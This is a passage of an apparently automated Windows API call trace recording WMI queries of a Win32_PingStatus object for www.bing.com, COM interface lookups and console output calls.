| out: ppvObject=0x59fe760*=0x5d09a20) returned 0x0 [0140.327] WbemStatusCodeText:IUnknown:AddRef (This=0x5d09a20) returned 0x3 [0140.327] WbemStatusCodeText:IUnknown:Release (This=0x5d09a20) returned 0x2 [0140.327] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5d09a20, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59fe8c4 | out: MessageText=0x59fe8c4*="Not found ") returned 0x0 [0140.327] SysStringByteLen (bstr="Not found ") returned 0x14 [0140.328] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0140.328] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0140.328] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.328] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0140.329] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0140.329] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.329] IWbemClassObject:GetNames (in: This=0x5ccc608, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe8bc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe8b0 | out: pNames=0x59fe8b0*="\x01ƀ\x04") returned 0x0 [0140.329] SafeArrayGetDim (psa=0x5cea1f0) returned 0x1 [0140.329] SafeArrayGetDim (psa=0x5cea1f0) returned 0x1 [0140.329] SafeArrayGetLBound (in: psa=0x5cea1f0, nDim=0x1, plLbound=0x59fe748 | out: plLbound=0x59fe748) returned 0x0 [0140.329] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.329] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.329] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.329] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.329] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.329] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.329] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.329] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.329] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.329] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.329] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.329] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.329] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.329] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.330] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.330] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.330] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.330] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.330] SysStringByteLen (bstr="__PATH") returned 0xc [0140.330] SysStringByteLen (bstr="__PATH") returned 0xc [0140.330] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__GENUS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2887548*=0, plFlavor=0x288754c*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2887548*=3, plFlavor=0x288754c*=64) returned 0x0 [0140.330] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__CLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288757c*=0, plFlavor=0x2887580*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x288757c*=8, plFlavor=0x2887580*=64) returned 0x0 [0140.330] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.330] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.330] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28875d4*=0, plFlavor=0x28875d8*=0 | out: pVal=0x59fe8ac*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28875d4*=8, plFlavor=0x28875d8*=64) returned 0x0 [0140.330] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DYNASTY", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28875fc*=0, plFlavor=0x2887600*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28875fc*=8, plFlavor=0x2887600*=64) returned 0x0 [0140.330] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.331] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.331] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__RELPATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2887654*=0, plFlavor=0x2887658*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2887654*=8, plFlavor=0x2887658*=64) returned 0x0 [0140.331] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.331] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.331] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288782c*=0, plFlavor=0x2887830*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x288782c*=3, plFlavor=0x2887830*=64) returned 0x0 [0140.331] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DERIVATION", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2887860*=0, plFlavor=0x2887864*=0 | out: pVal=0x59fe8ac*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea130*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d099e0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2887860*=8200, plFlavor=0x2887864*=64) returned 0x0 [0140.331] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SERVER", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2887894*=0, plFlavor=0x2887898*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2887894*=8, plFlavor=0x2887898*=64) returned 0x0 [0140.331] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.331] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.332] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28878e0*=0, plFlavor=0x28878e4*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x28878e0*=8, plFlavor=0x28878e4*=64) returned 0x0 [0140.332] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.332] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.332] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__PATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288792c*=0, plFlavor=0x2887930*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x288792c*=8, plFlavor=0x2887930*=64) returned 0x0 [0140.332] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0140.332] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0140.332] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8f0 | out: puCount=0x59fe8f0*=0x2) returned 0x0 [0140.332] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8ec*=0xf, pszText=0x0) returned 0x0 [0140.332] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8ec*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.332] IWbemClassObject:Get (in: This=0x5ccc608, wszName="WriteInformationStream", lFlags=0, pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2887b60*=0, plFlavor=0x2887b64*=0 | out: pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2887b60*=0, plFlavor=0x2887b64*=0) returned 0x80041002 [0140.332] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59fe8d0 | out: pperrinfo=0x59fe8d0*=0x0) returned 0x1 [0140.333] CoGetClassObject (in: rclsid=0x5cd3354*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59fe530 | out: ppv=0x59fe530*=0x5d099e0) returned 0x0 [0140.334] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d099e0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59fe748 | out: ppvObject=0x59fe748*=0x0) returned 0x80004002 [0140.334] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5d099e0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe754 | out: ppvObject=0x59fe754*=0x5d09a30) returned 0x0 [0140.334] WbemStatusCodeText:IUnknown:Release (This=0x5d099e0) returned 0x0 [0140.334] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09a30, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe374 | out: ppvObject=0x59fe374*=0x5d09a30) returned 0x0 [0140.334] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09a30, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59fe328 | out: ppvObject=0x59fe328*=0x0) returned 0x80004002 [0140.334] WbemStatusCodeText:IUnknown:AddRef (This=0x5d09a30) returned 0x3 [0140.334] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09a30, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59fdc84 | out: ppvObject=0x59fdc84*=0x0) returned 0x80004002 [0140.334] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09a30, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59fdc34 | out: ppvObject=0x59fdc34*=0x0) returned 0x80004002 [0140.334] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09a30, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fdc40 | out: ppvObject=0x59fdc40*=0x0) returned 0x80004002 [0140.334] CoGetContextToken (in: pToken=0x59fdca0 | out: pToken=0x59fdca0) returned 0x0 [0140.334] CoGetContextToken (in: pToken=0x59fe0b4 | out: pToken=0x59fe0b4) returned 0x0 [0140.334] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09a30, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe134 | out: ppvObject=0x59fe134*=0x0) returned 0x80004002 [0140.334] WbemStatusCodeText:IUnknown:Release (This=0x5d09a30) returned 0x2 [0140.335] WbemStatusCodeText:IUnknown:Release (This=0x5d09a30) returned 0x1 [0140.335] CoGetContextToken (in: pToken=0x59fe734 | out: pToken=0x59fe734) returned 0x0 [0140.335] CoGetContextToken (in: pToken=0x59fe694 | out: pToken=0x59fe694) returned 0x0 [0140.335] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09a30, riid=0x59fe764*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59fe760 | out: ppvObject=0x59fe760*=0x5d09a30) returned 0x0 [0140.335] WbemStatusCodeText:IUnknown:AddRef (This=0x5d09a30) returned 0x3 [0140.335] WbemStatusCodeText:IUnknown:Release (This=0x5d09a30) returned 0x2 [0140.335] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5d09a30, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59fe8c4 | out: MessageText=0x59fe8c4*="Not found ") returned 0x0 [0140.335] SysStringByteLen (bstr="Not found ") returned 0x14 [0140.336] GetConsoleOutputCP () returned 0x1b5 [0140.345] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0140.346] GetConsoleOutputCP () returned 0x1b5 [0140.346] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0140.346] GetConsoleOutputCP () returned 0x1b5 [0140.346] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0140.346] GetConsoleOutputCP () returned 0x1b5 [0140.346] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0140.346] GetConsoleOutputCP () returned 0x1b5 [0140.346] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0140.346] GetConsoleOutputCP () returned 0x1b5 [0140.347] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0140.347] GetConsoleOutputCP () returned 0x1b5 [0140.347] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0140.347] GetConsoleOutputCP () returned 0x1b5 [0140.347] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0140.347] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x59fea90 | out: lpConsoleScreenBufferInfo=0x59fea90) returned 1 [0140.348] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x59fea88 | out: lpMode=0x59fea88) returned 1 [0140.348] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2888130*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x59fea7c, lpReserved=0x0 | out: lpBuffer=0x2888130*, lpNumberOfCharsWritten=0x59fea7c*=0x4f) returned 1 [0140.349] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x59fea88 | out: lpMode=0x59fea88) returned 1 [0140.349] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x282a04c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x59fea7c, lpReserved=0x0 | out: lpBuffer=0x282a04c*, lpNumberOfCharsWritten=0x59fea7c*=0x2) returned 1 [0140.349] CoGetContextToken (in: pToken=0x59fec8c | out: pToken=0x59fec8c) returned 0x0 [0140.349] IEnumWbemClassObject:Clone (in: This=0x6c07b0, ppEnum=0x59fee44 | out: ppEnum=0x59fee44*=0x6c0a08) returned 0x0 [0140.353] IUnknown:QueryInterface (in: This=0x6c0a08, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fed00 | out: ppvObject=0x59fed00*=0x6c0a0c) returned 0x0 [0140.353] IClientSecurity:QueryBlanket (in: This=0x6c0a0c, pProxy=0x6c0a08, pAuthnSvc=0x59fed50, pAuthzSvc=0x59fed4c, pServerPrincName=0x59fed44, pAuthnLevel=0x59fed48, pImpLevel=0x59fed38, pAuthInfo=0x59fed3c, pCapabilites=0x59fed40 | out: pAuthnSvc=0x59fed50*=0xa, pAuthzSvc=0x59fed4c*=0x0, pServerPrincName=0x59fed44, pAuthnLevel=0x59fed48*=0x6, pImpLevel=0x59fed38*=0x2, pAuthInfo=0x59fed3c, pCapabilites=0x59fed40*=0x1) returned 0x0 [0140.353] IUnknown:Release (This=0x6c0a0c) returned 0x1 [0140.353] IUnknown:QueryInterface (in: This=0x6c0a08, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fecf4 | out: ppvObject=0x59fecf4*=0x721324) returned 0x0 [0140.353] IUnknown:QueryInterface (in: This=0x6c0a08, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fece0 | out: ppvObject=0x59fece0*=0x6c0a0c) returned 0x0 [0140.353] IClientSecurity:SetBlanket (This=0x6c0a0c, pProxy=0x6c0a08, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0140.357] IUnknown:Release (This=0x6c0a0c) returned 0x2 [0140.357] WbemLocator:IUnknown:Release (This=0x721324) returned 0x1 [0140.357] CoTaskMemFree (pv=0x5cea0f0) [0140.357] IUnknown:AddRef (This=0x6c0a08) returned 0x2 [0140.358] CoGetContextToken (in: pToken=0x59fe210 | out: pToken=0x59fe210) returned 0x0 [0140.358] CoGetContextToken (in: pToken=0x59fe624 | out: pToken=0x59fe624) returned 0x0 [0140.358] IUnknown:QueryInterface (in: This=0x6c0a08, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe5bc | out: ppvObject=0x59fe5bc*=0x72130c) returned 0x0 [0140.358] WbemLocator:IRpcOptions:Query (in: This=0x72130c, pPrx=0x5cfa7a8, dwProperty=2, pdwValue=0x59fe6b0 | out: pdwValue=0x59fe6b0) returned 0x80004002 [0140.358] WbemLocator:IUnknown:Release (This=0x72130c) returned 0x2 [0140.358] CoGetContextToken (in: pToken=0x59febf4 | out: pToken=0x59febf4) returned 0x0 [0140.358] CoGetContextToken (in: pToken=0x59feb54 | out: pToken=0x59feb54) returned 0x0 [0140.358] IUnknown:QueryInterface (in: This=0x6c0a08, riid=0x59fec24*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x59feaf0 | out: ppvObject=0x59feaf0*=0x6c0a08) returned 0x0 [0140.358] IUnknown:Release (This=0x6c0a08) returned 0x2 [0140.359] SysStringLen (param_1=0x0) returned 0x0 [0140.359] IEnumWbemClassObject:Reset (This=0x6c0a08) returned 0x0 [0140.366] CoTaskMemAlloc (cb=0x4) returned 0x5d09a60 [0140.366] IEnumWbemClassObject:Next (in: This=0x6c0a08, lTimeout=-1, uCount=0x1, apObjects=0x5d09a60, puReturned=0x2888214 | out: apObjects=0x5d09a60*=0x5cfadc8, puReturned=0x2888214*=0x1) returned 0x0 [0140.372] IUnknown:QueryInterface (in: This=0x5cfadc8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe49c | out: ppvObject=0x59fe49c*=0x5cfadc8) returned 0x0 [0140.372] IUnknown:QueryInterface (in: This=0x5cfadc8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59fe450 | out: ppvObject=0x59fe450*=0x0) returned 0x80004002 [0140.372] IUnknown:QueryInterface (in: This=0x5cfadc8, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59fe278 | out: ppvObject=0x59fe278*=0x0) returned 0x80004002 [0140.372] IUnknown:AddRef (This=0x5cfadc8) returned 0x3 [0140.372] IUnknown:QueryInterface (in: This=0x5cfadc8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59fddac | out: ppvObject=0x59fddac*=0x0) returned 0x80004002 [0140.372] IUnknown:QueryInterface (in: This=0x5cfadc8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59fdd5c | out: ppvObject=0x59fdd5c*=0x0) returned 0x80004002 [0140.373] IUnknown:QueryInterface (in: This=0x5cfadc8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fdd68 | out: ppvObject=0x59fdd68*=0x5cfadcc) returned 0x0 [0140.373] IMarshal:GetUnmarshalClass (in: This=0x5cfadcc, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x59fdd70 | out: pCid=0x59fdd70*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0140.373] IUnknown:Release (This=0x5cfadcc) returned 0x3 [0140.373] CoGetContextToken (in: pToken=0x59fddc8 | out: pToken=0x59fddc8) returned 0x0 [0140.373] CoGetContextToken (in: pToken=0x59fe1dc | out: pToken=0x59fe1dc) returned 0x0 [0140.373] IUnknown:QueryInterface (in: This=0x5cfadc8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe25c | out: ppvObject=0x59fe25c*=0x0) returned 0x80004002 [0140.374] IUnknown:Release (This=0x5cfadc8) returned 0x2 [0140.374] CoGetContextToken (in: pToken=0x59fe7c4 | out: pToken=0x59fe7c4) returned 0x0 [0140.374] CoGetContextToken (in: pToken=0x59fe724 | out: pToken=0x59fe724) returned 0x0 [0140.374] IUnknown:QueryInterface (in: This=0x5cfadc8, riid=0x59fe7f4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x59fe7f0 | out: ppvObject=0x59fe7f0*=0x5cfadc8) returned 0x0 [0140.374] IUnknown:AddRef (This=0x5cfadc8) returned 0x4 [0140.374] IUnknown:Release 